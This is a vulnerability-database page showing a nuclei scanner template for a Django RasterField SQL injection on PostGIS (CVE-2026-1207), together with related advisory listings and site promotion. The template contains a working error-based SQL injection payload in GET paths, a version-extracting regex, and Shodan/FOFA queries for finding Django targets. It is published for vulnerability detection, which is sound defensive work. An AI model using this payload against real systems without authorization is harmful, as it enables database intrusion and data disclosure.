Lucene search
+L

Django RasterField - SQL Injection

🗓️ 20 Oct 2026 02:05:18Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 54 Views

Django RasterField SQL injection via band index on PostGIS; vulnerable before 6.0.2, 5.2.11, 4.2.28; upgrade.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for SQL Injection in Djangoproject Django
26 Apr 202602:54
–githubexploit
attackerkb
attackerkb
CVE-2026-1207
3 Feb 202614:35
–attackerkb
alpinelinux
AlpineLinux
CVE-2026-1207
3 Feb 202614:35
–alpinelinux
astralinux
AstraLinux
Astra Linux – Vulnerability in Python-Django
14 Sep 202612:01
–astralinux
bdu_fstec
BDU FSTEC
Django SQL Injection
23 Mar 202600:00
–bdu_fstec
cgr
Chainguard
CVE-2026-1207 vulnerabilities
5 Feb 202601:17
–cgr
circl
Circl
CVE-2026-1207
3 Feb 202615:53
–circl
cnnvd
CNNVD
Django security vulnerabilities
3 Feb 202600:00
–cnnvd
cve
CVE
CVE-2026-1207
3 Feb 202614:35
–cve
cvelist
Cvelist
CVE-2026-1207 Potential SQL injection via raster lookups on PostGIS
3 Feb 202614:35
–cvelist
Rows per page
id: CVE-2026-1207

info:
  name: Django RasterField - SQL Injection
  author: omarkurt
  severity: high
  description: |
    Django < 6.0.2, < 5.2.11, and < 4.2.28 contains a SQL injection caused by improper sanitization of the band index parameter in RasterField on PostGIS, letting remote attackers inject SQL, exploit requires crafted input.
  impact: |
    Remote attackers can execute arbitrary SQL commands, potentially leading to data disclosure or modification.
  remediation: |
    Upgrade to versions 6.0.2, 5.2.11, 4.2.28 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1207
    - https://www.djangoproject.com/weblog/2026/feb/03/security-releases/
    - https://github.com/django/django/commit/81aa5292967cd09319c45fe2c1a525ce7b6684d8
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    cvss-score: 8.1
    cve-id: CVE-2026-1207
    epss-score: 0.12819
    epss-percentile: 0.96259
    cwe-id: CWE-89
    cpe: cpe:2.3:a:djangoproject:django:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: djangoproject
    product: django
    shodan-query: 'django'
    fofa-query: 'app="Django"'
  tags: cve,cve2026,django,sqli,postgis,rasterfield,vuln,unauth,vkev

http:
  - method: GET
    path:
      - "{{BaseURL}}/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--"
      - "{{BaseURL}}/api/raster/search/?band=1)%20AND%201=CAST((SELECT%20version())%20AS%20INT)--"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 500'
          - 'contains_all(body, "invalid input syntax for type integer", "PostgreSQL")'
        condition: and

    extractors:
      - type: regex
        name: postgres_version
        part: body
        group: 1
        regex:
          - 'PostgreSQL ([0-9]+\.[0-9]+)'
# digest: 4a0a004730450220630da88105101997bb46798eae35c8a12b7c82729f4987577c38d32d021ac50b022100862ee13ddd85b79c5746a2835390ded6dff5e8a7e84a9f1eb6142309c099339b:922c64590222798bb761d5b6d8e72950

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

05 Feb 2026 11:14Current
6.8Medium risk
Vulners AI Score6.8
CVSS 3.18.3
EPSS0.12819
SSVC
54